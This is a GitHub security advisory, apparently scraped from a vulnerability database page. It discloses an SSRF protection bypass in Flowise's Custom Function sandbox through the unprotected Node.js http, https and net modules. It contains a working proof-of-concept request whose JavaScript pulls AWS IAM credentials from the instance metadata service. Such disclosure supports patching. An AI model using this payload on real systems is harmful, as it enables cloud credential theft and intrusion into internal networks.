GHSA-XHMJ-RG95-44HV
Vulnerability from github – Published: 2026-04-16 21:50 – Updated: 2026-04-16 21:50Summary
A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)
Details
The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts
Vulnerable Code - Allowed Built-in Modules (Line 56):
export const defaultAllowBuiltInDep = [
'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]
SSRF Protection Implementation (Lines 254-261):
// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch
const defaultNodeVMOptions: any = {
// ...
require: {
builtin: builtinDeps, // <-- http, https, net allowed here
mock: secureWrappers // <-- Only mocks axios, node-fetch
},
// ...
}
Root Cause:
- The secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LIST
- The built-in http, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protection
- Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls
Affected File: packages/components/src/utils.ts
Related Files:
- packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrappers
- packages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript code
- packages/server/src/services/nodes/index.ts - Service layer executing the code
PoC
Prerequisites:
1. Flowise instance with HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)
2. Valid API key or authenticated session
3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached
Verify SSRF Protection is enabled (expect a block message by policy)
Request:
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>
{
"javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}
Response:
{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}
Bypass SSRF Protection using built-in http module
Request:
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>
{
"javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}
Response:
{
"Code": "Success",
"LastUpdated": "2026-01-08T11:30:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-01-08T17:30:00Z"
}
Impact
Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass
Who is Impacted:
- All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection
- Deployments without HTTP_DENY_LIST are already vulnerable to SSRF via any method
Impact Severity: 1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources 2. Scan internal networks, discover services, and identify attack targets 3. Reach databases, admin panels, and other internal APIs that should not be externally accessible
Attack Requirements: - Authentication required (API key or session) - Network access to Flowise instance
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:50:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js `http`, `https`, and `net` modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)\n\n### Details\nThe vulnerability exists in the sandbox configuration within `packages/components/src/utils.ts`\n\n**Vulnerable Code - Allowed Built-in Modules (Line 56):**\n```typescript\nexport const defaultAllowBuiltInDep = [\n \u0027assert\u0027, \u0027buffer\u0027, \u0027crypto\u0027, \u0027events\u0027, \u0027http\u0027, \u0027https\u0027, \u0027net\u0027, \u0027path\u0027, \u0027querystring\u0027, \u0027timers\u0027,\n \u0027url\u0027, \u0027zlib\u0027, \u0027os\u0027, \u0027stream\u0027, \u0027http2\u0027, \u0027punycode\u0027, \u0027perf_hooks\u0027, \u0027util\u0027, \u0027tls\u0027, \u0027string_decoder\u0027, \u0027dns\u0027, \u0027dgram\u0027\n]\n```\n\n**SSRF Protection Implementation (Lines 254-261):**\n```typescript\n// Only axios and node-fetch are wrapped with SSRF protection\nsecureWrappers[\u0027axios\u0027] = secureAxiosWrapper\nsecureWrappers[\u0027node-fetch\u0027] = secureNodeFetch\n\nconst defaultNodeVMOptions: any = {\n // ...\n require: {\n builtin: builtinDeps, // \u003c-- http, https, net allowed here\n mock: secureWrappers // \u003c-- Only mocks axios, node-fetch\n },\n // ...\n}\n```\n\n**Root Cause:**\n- The `secureWrappers` object only contains mocked versions of `axios` and `node-fetch` that enforce `HTTP_DENY_LIST`\n- The built-in `http`, `https`, and `net` modules are passed directly to the sandbox via `builtinDeps` without any SSRF protection\n- Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls\n\n**Affected File:** `packages/components/src/utils.ts`\n\n**Related Files:**\n- `packages/components/src/httpSecurity.ts` - Contains checkDenyList() function only used by axios/node-fetch wrappers\n- `packages/server/src/controllers/nodes/index.ts` - API endpoint accepting user-controlled JavaScript code\n- `packages/server/src/services/nodes/index.ts` - Service layer executing the code\n\n\n\n### PoC\n**Prerequisites:**\n1. Flowise instance with `HTTP_DENY_LIST` configured (e.g., `HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`)\n2. Valid API key or authenticated session\n3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached\n\n**Verify SSRF Protection is enabled (expect a block message by policy)**\n\nRequest:\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: \u003chost\u003e\nContent-Type: application/json\nAuthorization: Bearer \u003capi_key\u003e\n\n{\n \"javascriptFunction\": \"const axios = require(\u0027axios\u0027); return (await axios.get(\u0027http://169.254.169.254/latest/meta-data/\u0027)).data;\"\n}\n```\n\nResponse:\n\n```json\n{\"statusCode\":500,\"success\":false,\"message\":\"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.\",\"stack\":{}}\n```\n\n**Bypass SSRF Protection using built-in http module**\n\nRequest:\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: \u003chost\u003e\nContent-Type: application/json\nAuthorization: Bearer \u003capi_key\u003e\n\n{\n \"javascriptFunction\": \"const http = require(\u0027http\u0027); return new Promise((resolve) =\u003e { const tokenReq = http.request({ hostname: \u0027169.254.169.254\u0027, path: \u0027/latest/api/token\u0027, method: \u0027PUT\u0027, headers: { \u0027X-aws-ec2-metadata-token-ttl-seconds\u0027: \u002721600\u0027 } }, (tokenRes) =\u003e { let token = \u0027\u0027; tokenRes.on(\u0027data\u0027, c =\u003e token += c); tokenRes.on(\u0027end\u0027, () =\u003e { const metaReq = http.request({ hostname: \u0027169.254.169.254\u0027, path: \u0027/latest/meta-data/iam/security-credentials/{IAM_Role}\u0027, headers: { \u0027X-aws-ec2-metadata-token\u0027: token } }, (metaRes) =\u003e { let data = \u0027\u0027; metaRes.on(\u0027data\u0027, c =\u003e data += c); metaRes.on(\u0027end\u0027, () =\u003e resolve(data)); }); metaReq.on(\u0027error\u0027, e =\u003e resolve(\u0027meta-error:\u0027 + e.message)); metaReq.end(); }); }); tokenReq.on(\u0027error\u0027, e =\u003e resolve(\u0027token-error:\u0027 + e.message)); tokenReq.end(); });\"\n}\n```\n\nResponse:\n\n```json\n{\n \"Code\": \"Success\",\n \"LastUpdated\": \"2026-01-08T11:30:00Z\",\n \"Type\": \"AWS-HMAC\",\n \"AccessKeyId\": \"ASIA...\",\n \"SecretAccessKey\": \"...\",\n \"Token\": \"...\",\n \"Expiration\": \"2026-01-08T17:30:00Z\"\n}\n```\n\n\u003cimg width=\"1638\" height=\"751\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ed8b1dfd-516f-4e2b-a4ea-4dd259a8abf6\" /\u003e\n\n\n\u003cimg width=\"1633\" height=\"986\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12f6ecab-96df-42bc-9551-4a005ba6ba77\" /\u003e\n\n\n\n\n\n### Impact\n\n**Vulnerability Type:** Server-Side Request Forgery (SSRF) with security controls bypass\n\n**Who is Impacted:**\n- All Flowise deployments where `HTTP_DENY_LIST` is configured for SSRF protection\n- Deployments without `HTTP_DENY_LIST` are already vulnerable to SSRF via any method\n\n**Impact Severity:**\n1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources\n2. Scan internal networks, discover services, and identify attack targets\n3. Reach databases, admin panels, and other internal APIs that should not be externally accessible\n\n**Attack Requirements:**\n- Authentication required (API key or session)\n- Network access to Flowise instance",
"id": "GHSA-xhmj-rg95-44hv",
"modified": "2026-04-16T21:50:12Z",
"published": "2026-04-16T21:50:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-xhmj-rg95-44hv"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.